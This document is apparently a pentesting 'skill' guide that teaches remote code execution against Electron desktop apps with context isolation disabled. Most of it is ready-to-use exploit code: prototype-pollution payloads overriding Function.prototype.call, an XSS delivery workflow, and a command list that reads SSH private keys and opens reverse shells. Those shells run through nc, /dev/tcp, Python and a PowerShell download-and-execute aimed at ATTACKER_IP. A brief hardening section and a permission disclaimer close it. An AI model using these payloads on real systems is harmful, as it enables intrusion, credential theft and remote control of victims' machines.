Electron ContextIsolation RCE Exploitation
This skill helps you exploit Electron applications that have contextIsolation: false or nodeIntegration: true, allowing renderer process access to Node.js internals for remote code execution.
When to Use This Skill
- Pentesting Electron desktop applications
- Security assessments of Electron-based software
- Investigating context isolation bypasses
- Demonstrating prototype pollution attacks in Electron
- Analyzing Electron security configurations
Core Concepts
The Vulnerability
When Electron apps disable contextIsolation, the renderer process can access Node.js internal objects. The key attack vector is the process object, which contains references to require and other Node.js APIs.
Attack Surface
- Internal event listeners - Electron sets up internal event handlers that reference the
processobject - Prototype pollution - Overwriting
Function.prototype.callor similar methods - Direct process access - When
nodeIntegration: true, direct access toprocess.mainModule.require
Exploitation Techniques
Technique 1: Function.prototype.call Override
This exploits the internal "exit" event listener that Electron sets up during page loading.
Payload:
Function.prototype.call = function (process) {
process.mainModule.require("child_process").execSync("YOUR_COMMAND_HERE")
}
location.reload() // Triggers the "exit" event
How it works:
- Electron's internal code sets up
process.on("exit", ...)during page load - When the page reloads, the "exit" event fires
- The handler's
.call()method receives theprocessobject - By overriding
Function.prototype.call, we intercept this and execute arbitrary code
Usage:
// Inject into renderer process
const exploit = `
Function.prototype.call = function (process) {
if (process && process.mainModule && process.mainModule.require) {
process.mainModule.require("child_process").execSync("whoami");
}
}
location.reload();
`;
const script = document.createElement('script');
script.textContent = exploit;
document.head.appendChild(script);
Technique 2: Prototype Pollution via Object.defineProperty
When direct prototype access is restricted, use Object.defineProperty to pollute the prototype chain.
Payload:
// Leak the require function through prototype pollution
Object.defineProperty(Function.prototype, 'call', {
get: function() {
return function(process) {
if (process && process.mainModule) {
const { execSync } = process.mainModule.require('child_process');
execSync('YOUR_COMMAND_HERE');
}
};
}
});
// Trigger the exploit
location.reload();
Technique 3: Direct Process Access (nodeIntegration: true)
If nodeIntegration is enabled, you can directly access Node.js APIs:
// Direct RCE when nodeIntegration is true
const { execSync } = require('child_process');
execSync('YOUR_COMMAND_HERE');
// Or via process object
process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE');
Detection and Verification
Check if Context Isolation is Disabled
// In renderer process, check for Node.js access
function checkNodeAccess() {
const checks = {
hasProcess: typeof process !== 'undefined',
hasRequire: typeof require !== 'undefined',
hasNodeIntegration: process && process.versions && process.versions.node,
hasContextIsolation: process && process.contextIsolation
};
console.log('Node.js Access Check:', checks);
return checks.hasProcess || checks.hasRequire;
}
Check for Vulnerable Configuration
Look for these patterns in the Electron app's main process:
// Vulnerable - contextIsolation disabled
webContents.setWindowOpenHandler(() => {
return { action: 'allow', overrideBrowserWindowOptions: { webPreferences: { contextIsolation: false } } }
});
// Vulnerable - nodeIntegration enabled
BrowserWindow({
webPreferences: {
nodeIntegration: true,
contextIsolation: false
}
});
Practical Exploitation Workflow
Step 1: Reconnaissance
- Identify the Electron app and its version
- Check for XSS vectors (file upload, URL parameters, stored content)
- Verify renderer process access to Node.js APIs
Step 2: Payload Delivery
Choose delivery method based on available XSS vector:
- Reflected XSS: Inject payload via URL parameters
- Stored XSS: Inject payload via file upload or form submission
- DOM XSS: Inject payload via JavaScript-controlled DOM
Step 3: Command Execution
// Generic payload template
function executeCommand(command) {
Function.prototype.call = function (process) {
if (process && process.mainModule && process.mainModule.require) {
try {
const { execSync } = process.mainModule.require('child_process');
execSync(command);
} catch (e) {
console.error('Exploit failed:', e);
}
}
};
location.reload();
}
// Example commands
executeCommand('whoami');
executeCommand('id');
executeCommand('cat /etc/passwd');
executeCommand('nc -e /bin/sh ATTACKER_IP 4444');
Common Commands for Testing
// Basic reconnaissance
'whoami'
'id'
'hostname'
'pwd'
// File access
'cat /etc/passwd'
'ls -la ~'
'cat ~/.ssh/id_rsa'
// Reverse shell (Linux)
'nc -e /bin/bash ATTACKER_IP 4444'
'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
// Reverse shell (macOS)
'/usr/bin/env python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"'
// Reverse shell (Windows)
'powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')"'
Mitigation and Hardening
For Developers
- Enable contextIsolation:
webPreferences: {
contextIsolation: true,
nodeIntegration: false,
sandbox: true
}
- Use preload scripts for controlled IPC:
// preload.js
contextBridge.exposeInMainWorld('api', {
readFile: (path) => ipcRenderer.invoke('read-file', path)
});
- Disable Node.js in renderer:
webPreferences: {
nodeIntegration: false,
contextIsolation: true
}
For Security Teams
- Audit Electron apps for
contextIsolation: false - Check for
nodeIntegration: truein production builds - Review preload scripts for proper context isolation
- Test for prototype pollution vulnerabilities
References
Important Notes
- Legal: Only use these techniques on systems you own or have explicit permission to test
- Version Specific: Exploits may vary by Electron version
- Detection: Modern Electron versions have improved security; test against the target version
- Defense in Depth: Even with contextIsolation enabled, other vectors may exist